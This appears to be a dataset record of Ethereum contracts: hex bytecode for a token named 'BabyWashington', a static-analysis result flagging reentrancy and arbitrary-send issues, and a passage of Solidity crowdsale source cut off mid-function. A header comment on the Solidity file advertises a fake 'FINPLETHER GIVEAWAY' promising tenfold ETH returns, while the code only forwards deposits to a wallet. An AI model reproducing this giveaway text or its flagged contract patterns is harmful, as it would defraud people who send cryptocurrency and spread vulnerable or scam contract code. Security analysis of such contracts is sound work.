f1158015610a77573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a9c9190612adc565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550680340aad21b3b7000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610b9f929190612e1c565b602060405180830381600087803b158015610bb957600080fd5b505af1158015610bcd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf19190612a8a565b5050565b60006009905090565b610c06611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8a90612fc3565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cb8611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3c90612fc3565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610de1611284565b73ffffffffffffffffffffffffffffffffffffffff1614610e0157600080fd5b6000479050610e0f81611c7a565b50565b6000610e5c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d75565b9050919050565b610e6b611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eef90612fc3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f4261627957617368696e67746f6e000000000000000000000000000000000000815250905090565b6000611030611029611284565b8484611457565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661107b611284565b73ffffffffffffffffffffffffffffffffffffffff161461109b57600080fd5b60006110a630610e12565b90506110b181611de3565b50565b6110bc611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612fc3565b60405180910390fd5b6000811161118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612f83565b60405180910390fd5b6111bb60646111ad83683635c9adc5dea000006120dd90919063ffffffff16565b61215890919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111f29190613063565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f390613023565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136390612f43565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144a9190613063565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be90613003565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152e90612ee3565b60405180910390fd5b6000811161157a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157190612fe3565b60405180910390fd5b611582610fb6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115f057506115c0610fb6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b5357600f60179054906101000a900460ff1615611823573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116cc5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117265750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561182257600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176c611284565b73ffffffffffffffffffffffffffffffffffffffff1614806117e25750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117ca611284565b73ffffffffffffffffffffffffffffffffffffffff16145b611821576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181890613043565b60405180910390fd5b5b5b60105481111561183257600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118d65750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118df57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561198a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119e05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119f85750600f60179054906101000a900460ff165b15611a995742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4857600080fd5b601e42611a559190613199565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611aa430610e12565b9050600f60159054906101000a900460ff16158015611b115750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b295750600f60169054906101000a900460ff165b15611b5157611b3781611de3565b60004790506000811115611b4f57611b4e47611c7a565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bfa5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c0457600090505b611c10848484846121a2565b50505050565b6000838311158290611c5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c559190612ec1565b60405180910390fd5b5060008385611c6d919061327a565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cca60028461215890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cf5573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d4660028461215890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d71573d6000803e3d6000fd5b5050565b6000600654821115611dbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db390612f23565b60405180910390fd5b6000611dc66121cf565b9050611ddb818461215890919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e41577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e6f5781602001602082028036833780820191505090505b5090503081600081518110611ead577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f4f57600080fd5b505afa158015611f63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f879190612930565b81600181518110611fc1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128c565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161208c95949392919061307e565b600060405180830381600087803b1580156120a657600080fd5b505af11580156120ba573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156120f05760009050612152565b600082846120fe9190613220565b905082848261210d91906131ef565b1461214d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214490612fa3565b60405180910390fd5b809150505b92915050565b600061219a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121fa565b905092915050565b806121b0576121af61225d565b5b6121bb84848461228e565b806121c9576121c8612459565b5b50505050565b60008060006121dc61246b565b915091506121f3818361215890919063ffffffff16565b9250505090565b60008083118290612241576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122389190612ec1565b60405180910390fd5b506000838561225091906131ef565b9050809150509392505050565b600060085414801561227157506000600954145b1561227b5761228c565b600060088190555060006009819055505b565b6000806000806000806122a0876124cd565b9550955095509550955095506122fe86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061239385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123df816125dd565b6123e9848361269a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124469190613063565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124a1683635c9adc5dea0000060065461215890919063ffffffff16565b8210156124c057600654683635c9adc5dea000009350935050506124c9565b81819350935050505b9091565b60008060008060008060008060006124ea8a6008546009546126d4565b92509250925060006124fa6121cf565b9050600080600061250d8e87878761276a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061257783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c16565b905092915050565b600080828461258e9190613199565b9050838110156125d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ca90612f63565b60405180910390fd5b8091505092915050565b60006125e76121cf565b905060006125fe82846120dd90919063ffffffff16565b905061265281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126af8260065461253590919063ffffffff16565b6006819055506126ca8160075461257f90919063ffffffff16565b6007819055505050565b60008060008061270060646126f2888a6120dd90919063ffffffff16565b61215890919063ffffffff16565b9050600061272a606461271c888b6120dd90919063ffffffff16565b61215890919063ffffffff16565b9050600061275382612745858c61253590919063ffffffff16565b61253590919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061278385896120dd90919063ffffffff16565b9050600061279a86896120dd90919063ffffffff16565b905060006127b187896120dd90919063ffffffff16565b905060006127da826127cc858761253590919063ffffffff16565b61253590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061280661280184613118565b6130f3565b9050808382526020820190508285602086028201111561282557600080fd5b60005b85811015612855578161283b888261285f565b845260208401935060208301925050600181019050612828565b5050509392505050565b60008135905061286e81613756565b92915050565b60008151905061288381613756565b92915050565b600082601f83011261289a57600080fd5b81356128aa8482602086016127f3565b91505092915050565b6000813590506128c28161376d565b92915050565b6000815190506128d78161376d565b92915050565b6000813590506128ec81613784565b92915050565b60008151905061290181613784565b92915050565b60006020828403121561291957600080fd5b60006129278482850161285f565b91505092915050565b60006020828403121561294257600080fd5b600061295084828501612874565b91505092915050565b6000806040838503121561296c57600080fd5b600061297a8582860161285f565b925050602061298b8582860161285f565b9150509250929050565b6000806000606084860312156129aa57600080fd5b60006129b88682870161285f565b93505060206129c98682870161285f565b92505060406129da868287016128dd565b9150509250925092565b600080604083850312156129f757600080fd5b6000612a058582860161285f565b9250506020612a16858286016128dd565b9150509250929050565b600060208284031215612a3257600080fd5b600082013567ffffffffffffffff811115612a4c57600080fd5b612a5884828501612889565b91505092915050565b600060208284031215612a7357600080fd5b6000612a81848285016128b3565b91505092915050565b600060208284031215612a9c57600080fd5b6000612aaa848285016128c8565b91505092915050565b600060208284031215612ac557600080fd5b6000612ad3848285016128dd565b91505092915050565b600080600060608486031215612af157600080fd5b6000612aff868287016128f2565b9350506020612b10868287016128f2565b9250506040612b21868287016128f2565b9150509250925092565b6000612b378383612b43565b60208301905092915050565b612b4c816132ae565b82525050565b612b5b816132ae565b82525050565b6000612b6c82613154565b612b768185613177565b9350612b8183613144565b8060005b83811015612bb2578151612b998882612b2b565b9750612ba48361316a565b925050600181019050612b85565b5085935050505092915050565b612bc8816132c0565b82525050565b612bd781613303565b82525050565b6000612be88261315f565b612bf28185613188565b9350612c02818560208601613315565b612c0b8161344f565b840191505092915050565b6000612c23602383613188565b9150612c2e82613460565b604082019050919050565b6000612c46601a83613188565b9150612c51826134af565b602082019050919050565b6000612c69602a83613188565b9150612c74826134d8565b604082019050919050565b6000612c8c602283613188565b9150612c9782613527565b604082019050919050565b6000612caf601b83613188565b9150612cba82613576565b602082019050919050565b6000612cd2601d83613188565b9150612cdd8261359f565b602082019050919050565b6000612cf5602183613188565b9150612d00826135c8565b604082019050919050565b6000612d18602083613188565b9150612d2382613617565b602082019050919050565b6000612d3b602983613188565b9150612d4682613640565b604082019050919050565b6000612d5e602583613188565b9150612d698261368f565b604082019050919050565b6000612d81602483613188565b9150612d8c826136de565b604082019050919050565b6000612da4601183613188565b9150612daf8261372d565b602082019050919050565b612dc3816132ec565b82525050565b612dd2816132f6565b82525050565b6000602082019050612ded6000830184612b52565b92915050565b6000604082019050612e086000830185612b52565b612e156020830184612b52565b9392505050565b6000604082019050612e316000830185612b52565b612e3e6020830184612dba565b9392505050565b600060c082019050612e5a6000830189612b52565b612e676020830188612dba565b612e746040830187612bce565b612e816060830186612bce565b612e8e6080830185612b52565b612e9b60a0830184612dba565b979650505050505050565b6000602082019050612ebb6000830184612bbf565b92915050565b60006020820190508181036000830152612edb8184612bdd565b905092915050565b60006020820190508181036000830152612efc81612c16565b9050919050565b60006020820190508181036000830152612f1c81612c39565b9050919050565b60006020820190508181036000830152612f3c81612c5c565b9050919050565b60006020820190508181036000830152612f5c81612c7f565b9050919050565b60006020820190508181036000830152612f7c81612ca2565b9050919050565b60006020820190508181036000830152612f9c81612cc5565b9050919050565b60006020820190508181036000830152612fbc81612ce8565b9050919050565b60006020820190508181036000830152612fdc81612d0b565b9050919050565b60006020820190508181036000830152612ffc81612d2e565b9050919050565b6000602082019050818103600083015261301c81612d51565b9050919050565b6000602082019050818103600083015261303c81612d74565b9050919050565b6000602082019050818103600083015261305c81612d97565b9050919050565b60006020820190506130786000830184612dba565b92915050565b600060a0820190506130936000830188612dba565b6130a06020830187612bce565b81810360408301526130b28186612b61565b90506130c16060830185612b52565b6130ce6080830184612dba565b9695505050505050565b60006020820190506130ed6000830184612dc9565b92915050565b60006130fd61310e565b90506131098282613348565b919050565b6000604051905090565b600067ffffffffffffffff82111561313357613132613420565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131a4826132ec565b91506131af836132ec565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131e4576131e36133c2565b5b828201905092915050565b60006131fa826132ec565b9150613205836132ec565b925082613215576132146133f1565b5b828204905092915050565b600061322b826132ec565b9150613236836132ec565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561326f5761326e6133c2565b5b828202905092915050565b6000613285826132ec565b9150613290836132ec565b9250828210156132a3576132a26133c2565b5b828203905092915050565b60006132b9826132cc565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061330e826132ec565b9050919050565b60005b83811015613333578082015181840152602081019050613318565b83811115613342576000848401525b50505050565b6133518261344f565b810181811067ffffffffffffffff821117156133705761336f613420565b5b80604052505050565b6000613384826132ec565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133b7576133b66133c2565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61375f816132ae565b811461376a57600080fd5b50565b613776816132c0565b811461378157600080fd5b50565b61378d816132ec565b811461379857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654261627957617368696e67746f6e207c20742e6d652f6261627977617368696e67746f6ea2646970667358221220d8dfb0daac8adbec397f0b5faeb312048cf8ebcb9c389a4107360882aea3e1d364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
253
0xbd0228bfd3c7fa23c33439493731249b92067e49
/* FINPLETHER GIVEAWAY $500 000 000 USD TO JOIN THE GIVEAWAY To Participate You just need to send between 0.05 ETH to 1000 ETH YOU INSTANTLY GET USD BACK TO YOUR WALLET between 0.5 ETH TO 5000 ETH For example, if you send: 0.05 ETH YOU WILL GET BACK 0.5 ETH 0.50 ETH YOU WILL GET BACK 5 ETH 1 ETH YOU WILL GET BACK 5 ETH 10 ETH YOU WILL GET BACK 50 ETH 100 ETH YOU WILL GET BACK 500 ETH 1000 ETH YOU WILL GET BACK 5000 ETH */ pragma solidity ^0.5.0; interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library SafeERC20 { using SafeMath for uint256; function safeTransfer(IERC20 token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { require(token.transferFrom(from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(msg.sender, spender) == 0)); require(token.approve(spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); require(token.approve(spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); require(token.approve(spender, newAllowance)); } } contract ReentrancyGuard { uint256 private _guardCounter; constructor () internal { _guardCounter = 1; } modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter); } } contract Crowdsale is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 private _token; address payable private _wallet; uint256 private _rate; uint256 private _weiRaised; event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); constructor (uint256 rate, address payable wallet, IERC20 token) public { require(rate > 0); require(wallet != address(0)); require(address(token) != address(0)); _rate = rate; _wallet = wallet; _token = token; } function () external payable { buyTokens(msg.sender); } function token() public view returns (IERC20) { return _token; } function wallet() public view returns (address payable) { return _wallet; } function rate() public view returns (uint256) { return _rate; } function weiRaised() public view returns (uint256) { return _weiRaised; } function buyTokens(address beneficiary) public nonReentrant payable { uint256 weiAmount = msg.value; _preValidatePurchase(beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); _weiRaised = _weiRaised.add(weiAmount); _processPurchase(beneficiary, tokens); emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens); _updatePurchasingState(beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(beneficiary, weiAmount); } function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view { require(beneficiary != address(0)); require(weiAmount != 0); } function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view { } function _deliverTokens(address beneficiary, uint256 tokenAmount) internal { _token.safeTransfer(beneficiary, tokenAmount); } function _processPurchase(address beneficiary, uint256 tokenAmount) internal { _deliverTokens(beneficiary, tokenAmount); } function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal { // solhint-disable-previous-line no-empty-blocks } function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) { uint256 tokenAmount = weiAmount.mul(_rate); if (weiAmount >= 1 ether && weiAmount < 5 ether) tokenAmount = tokenAmount.mul(125).div(100); else if (weiAmount >= 5 ether && weiAmount < 10 ether) tokenAmount = tokenAmount.mul(135).div(100); else if (weiAmount >= 10 ether && weiAmount < 30 ether) tokenAmount = tokenAmount.mul(140).div(100); else if (weiAmount >= 30 ether && weiAmount < 150 ether) tokenAmount = tokenAmount.mul(150).div(100); else if (weiAmount >= 150 ether && weiAmount < 1000 ether) tokenAmount = tokenAmount.mul(60).div(100); if (block.timestamp >= 1602447334 && block.timestamp < 1603182600) tokenAmount = tokenAmount.mul(185).div(100); else if (block.timestamp >= 1603182600 && block.timestamp < 1604565000) tokenAmount = tokenAmount.mul(175).div(100); else if (block.timestamp >= 1604565000 && block.timestamp < 1605861000) tokenAmount = tokenAmount.mul(165).div(100); else if (block.timestamp >= 1605861000 && block.timestamp < 1606725000) tokenAmount = tokenAmount.mul(150).div(100); else if (block.timestamp >= 1606725000 && block.timestamp < 1607157000) tokenAmount = tokenAmount.mul(140).div(100); else if (block.timestamp >= 1607157000 && block.timestamp < 1607589000) tokenAmount = tokenAmount.mul(130).div(100); else if (block.timestamp >= 1607589000 && block.timestamp < 1608021000) tokenAmount = tokenAmount.mul(120).div(100); else if (block.timestamp >= 1608021000 && block.timestamp < 1608366600) tokenAmount = tokenAmount.mul(110).div(100); return tokenAmount; } function _forwardFunds() internal { _wallet.transfer(msg.value); } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender)); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } contract ERC20Mintable is ERC20, MinterRole { function mint(address to, uint256 value) public onlyMinter returns (bool) { _mint(to, value); return true; } } contract MintedCrowdsale is Crowdsale { function _deliverTokens(address beneficiary, uint256 tokenAmount) internal { require(ERC20Mintable(address(token())).mint(beneficiary, tokenAmount)); } } contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 private _cap; constructor (uint256 cap) public { require(cap > 0); _cap = cap; } function cap() public view returns (uint256) { return _cap; } function capReached() public view returns (bool) { return weiRaised() >= _cap; } function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view { 